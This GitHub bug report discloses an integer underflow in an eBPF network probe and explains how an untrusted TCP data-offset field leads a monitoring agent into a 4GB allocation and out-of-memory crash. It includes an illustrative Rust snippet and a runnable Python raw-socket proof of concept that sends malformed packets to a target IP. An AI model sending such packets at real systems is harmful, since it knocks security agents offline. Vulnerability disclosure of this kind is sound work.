-
Notifications
You must be signed in to change notification settings - Fork 66
[Bug]: Integer Underflow in eBPF Probe #374
Description
Contact Details
No response
What happened?
Integer Underflow in eBPF Probe Leads to Agent Denial of Service (OOM)
Severity: Medium (Corruption of data integrity and potential of remote DoS)
Component: eBPF Kernel Probe (network.bpf.c)
1. Summary
A vulnerability exists in the eBPF network probe (network.bpf.c) where the payload length calculation fails to validate header bounds. A remote unauthenticated attacker can trigger an Integer Underflow by sending a specially crafted TCP packet, leading to corruption of security sensitive data integrity and potential remote DoS.
2. Root Cause Analysis (Kernel Space)
The flaw is located in process_skb within network.bpf.c. The code calculates the data length by subtracting the header length from the total packet length:
// network.bpf.c
msg_event->data_len = skb->len - headers_len;The variable headers_len is derived from the TCP Data Offset (doff) field, which is attacker-controlled.
The code never verifies that headers_len <= skb->len. An attacker sending a shorther packet but claiming a larger TCP header (say, with doff=15) results in n integer underflow, the register potentially wrapping around up to 4,294,967,256.
3. The Crash (Userspace Agent)
The Rust agent ingests this poisoned event. Because network monitors often need to reassemble TCP streams or analyze payloads, a natural implementation (like the one below) will pre-allocate memory based on the reported length to avoid fragmentation.
The underflowed value forces the agent to attempt a 4GB allocation. This exceeds the memory limits of standard containers (and many host configurations), causing the OS to kill the process.
Example Logic (based on standalone-probes):
async fn run<F, T, Fut>(args: Args, program: F)
where
F: Fn(BpfContext, mpsc::Sender<Result<BpfEvent<T>, ProgramError>>) -> Fut,
Fut: Future<Output = Result<Program, ProgramError>>,
T: IntoPayload,
{
env_logger::builder()
.filter(None, log::LevelFilter::Info)
.filter(Some("trace_pipe"), log::LevelFilter::Info)
.init();
#[cfg(debug_assertions)]
let _stop_handle = bpf_common::trace_pipe::start().await;
let (tx, mut rx) = mpsc::channel(100);
let log_level = if args.verbose {
BpfLogLevel::Debug
} else {
BpfLogLevel::Error
};
let ctx = BpfContext::new(Pinning::Disabled, 512, None, log_level).unwrap();
let _program = program(ctx, tx).await.expect("initialization failed");
loop {
tokio::select!(
_ = tokio::signal::ctrl_c() => break,
msg = rx.recv() => match msg {
Some(Ok(msg)) => {
let payload = T::try_into_payload(msg).unwrap();
if let Payload::Send { len, .. } = &payload {
// Trust the core agent with reasonable size
let mut buf: Vec<u8> = Vec::with_capacity(*len);
buf.resize(*len,0);
// ,--.!,
// __/ -*-
// ,d08b. '|`
// 0088MM
// `9MMP'
}
log::info!("{}", payload);
},
Some(Err(err)) => {
bpf_common::log_error("error", err);
break
}
None => {
log::info!("probe exited");
break;
}
}
)
}
}4. Proof of Concept
The following Python script uses raw sockets to construct the malicious packet. It sets the TCP Data Offset to 15 (max) while keeping the actual packet size minimal (40 bytes).
import socket
import struct
import sys
def trigger_panic(target_ip):
# Standard IP Header
ihl = 5
version = 4
tos = 0
tot_len = 40
id = 54321
frag_off = 0
ttl = 64
protocol = socket.IPPROTO_TCP
check = 0
src_addr = socket.inet_aton("1.2.3.4")
dst_addr = socket.inet_aton(target_ip)
ihl_version = (version << 4) + ihl
ip_header = struct.pack('!BBHHHBBH4s4s', ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, src_addr, dst_addr)
# Malicious TCP Header
source = 12345
dest = 443
seq = 0
ack_seq = 0
# Set Data Offset to 15
doff_res = (15 << 4) + 0
flags = 2 # SYN
window = socket.htons(5840)
check = 0
urg_ptr = 0
tcp_header = struct.pack('!HHLLBBHHH', source, dest, seq, ack_seq, doff_res, flags, window, check, urg_ptr)
return ip_header + tcp_header
def execute():
target = "192.168.1.15"
if len(sys.argv) > 1:
target = sys.argv[1]
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
except PermissionError:
print("[-] Error: Root privileges required for raw sockets (sudo).")
return
packet = trigger_panic(target)
print(f"[*] Targeting {target}")
print(f"[*] Sending Malformed Packet...")
print(f" Wire Length: {len(packet)} bytes")
print(f" Claimed IP: 20 bytes")
print(f" Claimed TCP: 60 bytes (via doff=15)")
print(f" Underflow: 40 - 20 - 60 = -40")
for i in range(5):
s.sendto(packet, (target, 0))
print("[+] Packets sent.")
if __name__ == "__main__":
execute()5. Recommendation
The fix must be applied in the eBPF kernel code (network.bpf.c). It should verify that the calculated header length does not exceed the packet length.
Relevant log output
Code of Conduct
- I agree to follow this project's Code of Conduct